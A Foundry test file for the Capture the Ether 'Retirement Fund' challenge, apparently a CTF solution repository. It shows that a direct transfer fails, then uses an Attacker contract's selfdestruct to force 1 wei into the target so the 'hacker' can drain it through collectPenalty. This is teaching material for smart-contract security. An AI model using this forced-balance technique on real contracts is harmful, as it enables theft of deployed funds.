-
Notifications
You must be signed in to change notification settings - Fork 21
/
RetirementFundChallenge.t.sol
60 lines (44 loc) · 2.09 KB
/
RetirementFundChallenge.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "./RetirementFundChallenge.sol";
import "./Attacker.sol";
contract RetirementFundChallengeTest is Test {
RetirementFundChallenge public retirementFundChallenge;
address hacker = makeAddr("hacker");
function setUp() public {
payable(hacker).transfer(1 ether);
retirementFundChallenge = new RetirementFundChallenge{value: 1 ether}(hacker);
}
// without fallback/recieve function, it reverts;
function testRetirementFund1() public {
emit log_named_uint("my balance", hacker.balance);
emit log_named_uint("retirementFundChallenge's balance", address(retirementFundChallenge).balance);
vm.startPrank(hacker);
vm.expectRevert();
payable(address(retirementFundChallenge)).transfer(1 wei);
emit log_named_uint(
"after transfer, retirementFundChallenge's balance", address(retirementFundChallenge).balance
);
vm.expectRevert();
retirementFundChallenge.collectPenalty();
vm.stopPrank();
emit log_named_uint("my new value", hacker.balance);
emit log_named_uint("retirementFundChallenge's new balance", address(retirementFundChallenge).balance);
assertFalse(retirementFundChallenge.isComplete());
}
function testRetirementFund2() public {
emit log_named_uint("my balance", hacker.balance);
emit log_named_uint("retirementFundChallenge's balance", address(retirementFundChallenge).balance);
vm.startPrank(hacker);
new Attacker{value: 1 wei}(payable(address(retirementFundChallenge)));
emit log_named_uint(
"after selfdestruct to, retirementFundChallenge's balance", address(retirementFundChallenge).balance
);
retirementFundChallenge.collectPenalty();
vm.stopPrank();
emit log_named_uint("my new value", hacker.balance);
emit log_named_uint("retirementFundChallenge's new balance", address(retirementFundChallenge).balance);
assertTrue(retirementFundChallenge.isComplete());
}
}